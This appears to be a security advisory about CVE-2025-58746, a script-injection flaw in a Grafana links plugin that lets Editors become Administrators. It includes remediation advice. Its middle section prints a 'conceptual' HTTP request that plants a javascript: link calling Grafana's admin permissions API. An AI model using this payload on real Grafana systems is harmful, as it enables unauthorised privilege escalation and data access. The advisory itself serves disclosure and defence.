Overview
In this post, we discuss the recent discovery of a critical vulnerability in the Volkov Labs Business Links panel for Grafana. This vulnerability, identified as CVE-2025-58746, can allow a malicious actor with Editor privileges to escalate their privileges to Administrator, thus potentially compromising the entire system or leading to data leakage. This vulnerability is particularly concerning because of the popularity of Grafana as a data visualization and monitoring tool across different industries.
Vulnerability Summary
CVE ID: CVE-2025-58746
Severity: Critical (CVSS: 9.0)
Attack Vector: Network
Privileges Required: Low (Editor Level)
User Interaction: None
Impact: System compromise and potential data leakage
Affected Products
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Product | Affected Versions
Volkov Labs Business Links panel for Grafana | Versions prior to 2.4.0
How the Exploit Works
The vulnerability resides in the plugin’s [Layout] → [Link] → [URL] field. An attacker with editor privileges can inject arbitrary JavaScript code into this field. This code can subsequently be executed to escalate the attacker’s privileges to an administrator level, thereby allowing the attacker to perform arbitrary administrative actions. This could lead to system compromise or data leakage if exploited successfully.
Conceptual Example Code
While we won’t provide an exact malicious payload, a conceptual example of exploiting this vulnerability might look something like this:
POST /api/dashboards/db HTTP/1.1
Host: grafana-instance.com
Content-Type: application/json
Authorization: Bearer {editor's api key}
{
"dashboard": {
"id": null,
"title": "Malicious Dashboard",
"panels": [
{
"type": "business-links",
"gridPos": {"x": 0, "y": 0, "w": 24, "h": 8},
"options": {
"links": [
{
"title": "Malicious Link",
"url": "javascript:fetch('/api/admin/users/1/permissions', {method: 'POST', body: JSON.stringify({isAdmin: true}), headers: {'Content-Type': 'application/json'}})"
}
]
}
}
]
}
}In this conceptual example, the attacker is creating a new dashboard with a link that, when clicked, sends a request to the Grafana API to elevate the user’s permissions to administrator level.
Remediation
Users are advised to update to the newest version (2.4.0 or later) of the Volkov Labs Business Links plugin for Grafana as it contains a fix for this issue. As a temporary measure, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used to detect and prevent the exploitation of this vulnerability.
